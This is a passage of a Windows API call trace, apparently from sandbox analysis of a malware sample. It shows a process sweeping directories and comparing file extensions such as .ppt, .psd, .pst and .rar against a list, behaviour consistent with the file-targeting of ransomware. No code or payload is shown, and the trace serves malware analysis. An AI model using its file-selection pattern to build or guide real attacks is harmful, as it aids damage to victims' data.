	[0160.682] lstrlenW (lpString=".potx") returned 5
	[0160.682] lstrcmpiW (lpString1=".potx", lpString2=".LOG1") returned 1
	[0160.682] lstrlenW (lpString=".ppa") returned 4
	[0160.682] lstrcmpiW (lpString1=".ppa", lpString2="LOG1") returned -1
	[0160.682] lstrlenW (lpString=".ppam") returned 5
	[0160.682] lstrcmpiW (lpString1=".ppam", lpString2=".LOG1") returned 1
	[0160.683] lstrlenW (lpString=".ppm") returned 4
	[0160.683] lstrcmpiW (lpString1=".ppm", lpString2="LOG1") returned -1
	[0160.683] lstrlenW (lpString=".pps") returned 4
	[0160.683] lstrcmpiW (lpString1=".pps", lpString2="LOG1") returned -1
	[0160.683] lstrlenW (lpString=".ppsm") returned 5
	[0160.683] lstrcmpiW (lpString1=".ppsm", lpString2=".LOG1") returned 1
	[0160.683] lstrlenW (lpString=".ppt") returned 4
	[0160.683] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0160.683] lstrlenW (lpString=".pptm") returned 5
	[0160.683] lstrcmpiW (lpString1=".pptm", lpString2=".LOG1") returned 1
	[0160.683] lstrlenW (lpString=".pptx") returned 5
	[0160.683] lstrcmpiW (lpString1=".pptx", lpString2=".LOG1") returned 1
	[0160.683] lstrlenW (lpString=".prn") returned 4
	[0160.683] lstrcmpiW (lpString1=".prn", lpString2="LOG1") returned -1
	[0160.683] lstrlenW (lpString=".ps") returned 3
	[0160.683] lstrcmpiW (lpString1=".ps", lpString2="OG1") returned -1
	[0160.683] lstrlenW (lpString=".psb") returned 4
	[0160.683] lstrcmpiW (lpString1=".psb", lpString2="LOG1") returned -1
	[0160.683] lstrlenW (lpString=".psd") returned 4
	[0160.683] lstrcmpiW (lpString1=".psd", lpString2="LOG1") returned -1
	[0160.683] lstrlenW (lpString=".pst") returned 4
	[0160.683] lstrcmpiW (lpString1=".pst", lpString2="LOG1") returned -1
	[0160.683] lstrlenW (lpString=".ptx") returned 4
	[0160.683] lstrcmpiW (lpString1=".ptx", lpString2="LOG1") returned -1
	[0160.683] lstrlenW (lpString=".pub") returned 4
	[0160.683] lstrcmpiW (lpString1=".pub", lpString2="LOG1") returned -1
	[0160.683] lstrlenW (lpString=".pwm") returned 4
	[0160.683] lstrcmpiW (lpString1=".pwm", lpString2="LOG1") returned -1
	[0160.683] lstrlenW (lpString=".pxr") returned 4
	[0160.683] lstrcmpiW (lpString1=".pxr", lpString2="LOG1") returned -1
	[0160.683] lstrlenW (lpString=".py") returned 3
	[0160.683] lstrcmpiW (lpString1=".py", lpString2="OG1") returned -1
	[0160.683] lstrlenW (lpString=".qt") returned 3
	[0160.683] lstrcmpiW (lpString1=".qt", lpString2="OG1") returned -1
	[0160.683] lstrlenW (lpString=".r3d") returned 4
	[0160.684] lstrcmpiW (lpString1=".r3d", lpString2="LOG1") returned -1
	[0160.684] lstrlenW (lpString=".raf") returned 4
	[0160.684] lstrcmpiW (lpString1=".raf", lpString2="LOG1") returned -1
	[0160.684] lstrlenW (lpString=".rar") returned 4
	[0160.684] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0160.684] lstrlenW (lpString=".raw") returned 4
	[0160.684] lstrcmpiW (lpString1=".raw", lpString2="LOG1") returned -1
	[0160.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.684] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0160.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.684] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0160.685] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.685] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0160.685] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.685] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0160.685] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.685] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0160.685] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.685] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0160.685] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.685] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0160.686] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.686] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0160.686] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.686] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0160.686] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.686] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0160.686] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.686] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0160.700] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.700] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0160.701] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.701] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0160.702] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.702] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0160.704] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.704] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0160.704] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.704] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0160.707] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.707] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0160.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.719] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0160.720] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.721] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0160.721] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.721] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0160.725] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.725] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0160.728] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.728] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0160.728] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.728] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0160.729] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.729] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0160.738] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.738] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0160.739] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.739] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0160.739] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.739] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0160.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0160.741] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0160.741] FindClose (in: hFindFile=0x76e8e8 | out: hFindFile=0x76e8e8) returned 1
	[0160.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.741] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0160.742] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.742] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0160.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.743] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0160.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.743] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0160.744] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.744] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0160.744] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.744] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0160.745] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
